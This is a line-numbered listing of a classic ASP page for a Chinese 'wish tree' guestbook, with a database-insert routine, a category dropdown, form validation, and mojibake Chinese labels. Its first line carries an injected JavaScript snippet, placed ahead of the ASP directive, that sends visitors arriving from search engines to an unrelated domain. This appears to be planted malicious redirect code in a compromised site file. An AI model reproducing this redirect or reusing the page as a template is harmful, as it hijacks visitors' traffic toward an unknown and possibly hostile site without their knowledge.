d:\wwwroot\wuchunhua\ͨѶ¼\xys\xy.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT"%>
002: <!--#include file="chklogin.asp" -->
003: <!--#include file="Connections/conn.asp" -->
004:
005: <%
006: ' *** Edit Operations: declare variables
007:
008: MM_editAction = CStr(Request("URL"))
009: If (Request.QueryString <> "") Then
010:   MM_editAction = MM_editAction & "?" & Request.QueryString
011: End If
012:
013: ' boolean to abort record edit
014: MM_abortEdit = false
015:
016: ' query string to execute
017: MM_editQuery = ""
018: %
>
019: <%
020: ' *** Insert Record: set variables
021:
022: If (CStr(Request("MM_insert")) <> "") Then
023:
024:   MM_editConnection = MM_conn_STRING
025:   MM_editTable = "xybook"
026:   MM_editRedirectUrl = "xyok.htm"
027:   MM_fieldsStr  = "xyname|value|email|value|qq|value|xingbie|value|leibie|value|xyneirong|value"
028:   MM_columnsStr = "xyname|',none,''|email|',none,''|qq|',none,''|ggormm|',none,''|xyid|none,none,NULL|neiyong|',none,''"
029:
030:   ' create the MM_fields and MM_columns arrays
031:   MM_fields = Split(MM_fieldsStr, "|")
032:   MM_columns = Split(MM_columnsStr, "|")
033:   
034:   ' set the form values
035:   For i = LBound(MM_fields) To UBound(MM_fields) Step 2
036:     MM_fields(i+1) = CStr(Request.Form(MM_fields(i)))
037:   Next
038:
039:   ' append the query string to the redirect URL
040:   If (MM_editRedirectUrl <> "" And Request.QueryString <> "") Then
041:     If (InStr(1, MM_editRedirectUrl, "?", vbTextCompare) = 0 And Request.QueryString <> "") Then
042:       MM_editRedirectUrl = MM_editRedirectUrl & "?" & Request.QueryString
043:     Else
044:       MM_editRedirectUrl = MM_editRedirectUrl & "&" & Request.QueryString
045:     End If
046:   End If
047:
048: End If
049: %
>
050: <%
051: ' *** Insert Record: construct a sql insert statement and execute it
052:
053: If (CStr(Request("MM_insert")) <> "") Then
054:
055:   ' create the sql insert statement
056:   MM_tableValues = ""
057:   MM_dbValues = ""
058:   For i = LBound(MM_fields) To UBound(MM_fields) Step 2
059:     FormVal = MM_fields(i+1)
060:     MM_typeArray = Split(MM_columns(i+1),",")
061:     Delim = MM_typeArray(0)
062:     If (Delim = "none") Then Delim = ""
063:     AltVal = MM_typeArray(1)
064:     If (AltVal = "none") Then AltVal = ""
065:     EmptyVal = MM_typeArray(2)
066:     If (EmptyVal = "none") Then EmptyVal = ""
067:     If (FormVal = "") Then
068:       FormVal = EmptyVal
069:     Else
070:       If (AltVal <> "") Then
071:         FormVal = AltVal
072:       ElseIf (Delim = "'") Then  ' escape quotes
073:         FormVal = "'" & Replace(FormVal,"'","''") & "'"
074:       Else
075:         FormVal = Delim + FormVal + Delim
076:       End If
077:     End If
078:     If (i <> LBound(MM_fields)) Then
079:       MM_tableValues = MM_tableValues & ","
080:       MM_dbValues = MM_dbValues & ","
081:     End if
082:     MM_tableValues = MM_tableValues & MM_columns(i)
083:     MM_dbValues = MM_dbValues & FormVal
084:   Next
085:   MM_editQuery = "insert into " & MM_editTable & " (" & MM_tableValues & ") values (" & MM_dbValues & ")"
086:
087:   If (Not MM_abortEdit) Then
088:     ' execute the insert
089:     Set MM_editCmd = Server.CreateObject("ADODB.Command")
090:     MM_editCmd.ActiveConnection = MM_editConnection
091:     MM_editCmd.CommandText = MM_editQuery
092:     MM_editCmd.Execute
093:     MM_editCmd.ActiveConnection.Close
094:
095:     If (MM_editRedirectUrl <> "") Then
096:       Response.Redirect(MM_editRedirectUrl)
097:     End If
098:   End If
099:
100: End If
101: %
>
102: <%
103: set rs = Server.CreateObject("ADODB.Recordset")
104: rs.ActiveConnection = MM_conn_STRING
105: rs.Source = "SELECT * FROM class"
106: rs.CursorType = 0
107: rs.CursorLocation = 2
108: rs.LockType = 3
109: rs.Open()
110: rs_numRows = 0
111: %
>
112: <html>
113: <head>
114: <title>Untitled Document</title>
115: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
116: <link rel="stylesheet" href="css.css" type="text/css">
117: </head>
118: <body bgcolor="#FFFFFF" text="#000000">
119: <div align="center">
120:   <script language="JavaScript">
121: <!--
122:
123: function Juge(theForm)
124: {
125:   if (theForm.xyname.value == "")
126:   {
127:     alert("²»ÊǰÉ!ÄãûÓÐÃû×Ö£¿Ë§¸çÃÀÅ®¶¼¿ÉÒÔÀ²£¡");
128:     theForm.xyname.focus();
129:     return (false);
130:   }
131:   if (theForm.xyname.value.length>8)
132:   {
133:     alert("Ãû×Ö²»µÃ³¬¹ý8¸ö×Ö£¡");
134:     theForm.xyname.focus();
135:     return (false);
136:   }
137:       if (theForm.qq.value.length>10)
138:    {
139:       alert("QQûÓÐ10λµÄ°É");
140:       theForm.qq.focus();
141:       return (false);
142:    }
143:   if (theForm.xyneirong.value == "")
144:   {
145:     alert("ûÓÐÔ¸Íû£¿ÄÇÄãÀ´¸ÉÂ");
146:     theForm.xyneirong.focus();
147:     return (false);
148:   }
149:   if (theForm.xyneirong.value.length>150)
150:   {
151:     alert("ÄãµÄÔ¸Íû²»µÃ³¬¹ý150¸ö×Ö£¡");
152:     theForm.xyneirong.focus();
153:     return (false);
154:   }
155:     if (theForm.email.value.length>50)
156:   {
157:     alert("EMAIL²»µÃ³¬¹ý50¸ö×Ö£¡");
158:     theForm.email.focus();
159:     return (false);
160:   }
161: }
162:
163: //-->

164:   </script>
165:   <script language="JavaScript">
166:     self.opener.location.reload()
167:     </script>
168:   <img src="images/line119.gif" width="234" height="39"> </div>
169: <form name="form1" method="POST" action="<%=MM_editAction%>" onSubmit="return Juge(this)">
170:   <table width="24%" border="1" cellspacing="2" cellpadding="0" align="center" height="308" background="images/back.gif" bordercolor="#FFFFFF" class="css">
171:     <tr bordercolor="#000000">
172:       <td height="34" colspan="2" bgcolor="#99CC33">
173:         <div align="center"><font color="#FFFFFF" size="3">ÐíÔ¸Ê÷</font></div>
174:       </td>
175:     </tr>
176:     <tr bordercolor="#000000">
177:       <td height="6" width="87"><font color="#9966FF">ÐíÔ¸Õß</font></td>
178:       <td height="6" width="154">
179:         <div align="center"> <font color="#9966FF">
180:           <input type="text" name="xyname" style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; BACKGROUND-COLOR: #ffffff" size="20" value="<%=Session("name")%>">
181:           <input type="hidden" name="xingbie" value="1">
182:           </font></div>
183:       </td>
184:     </tr>
185:     <tr bordercolor="#000000">
186:       <td height="6" width="87"><font color="#9966FF">ÐíÔ¸ÀàÐÍ</font></td>
187:       <td height="6" width="154">
188:         <div align="center"> <font color="#9966FF">
189:           <select name="leibie" style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; BACKGROUND-COLOR: #ffffff">
190:             <%
191: While (NOT rs.EOF)
192: %
>
193:             <option value="<%=(rs.Fields.Item("xyid").Value)%>" ><%=(rs.Fields.Item("classname").Value)%></option>
194:             <%
195:   rs.MoveNext()
196: Wend
197: If (rs.CursorType > 0) Then
198:   rs.MoveFirst
199: Else
200:   rs.Requery
201: End If
202: %
>
203:           </select>
204:           </font></div>
205:       </td>
206:     </tr>
207:     <tr bordercolor="#000000">
208:       <td height="6" colspan="2"><font color="#9966FF">ÐíÔ¸ÄÚÈÝ</font></td>
209:     </tr>
210:     <tr bordercolor="#000000">
211:       <td height="6" colspan="2">
212:         <div align="center">
213:           <textarea name="xyneirong" cols="30" rows="7" style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; BACKGROUND-COLOR: #ffffff"></textarea>
214:         </div>
215:       </td>
216:     </tr>
217:     <tr bordercolor="#000000">
218:       <td height="6" colspan="2">
219:         <div align="center">
220:           <input type="submit" value="ÐíÔ¸">
221:           <input type="reset" name="Submit2" value="ÖØÀ´">
222:         </div>
223:       </td>
224:     </tr>
225:   </table>
226:   <input type="hidden" name="MM_insert" value="true">
227: </form>
228: </body>
229: </html>
230: <%
231: rs.Close()
232: %
>
233:
234: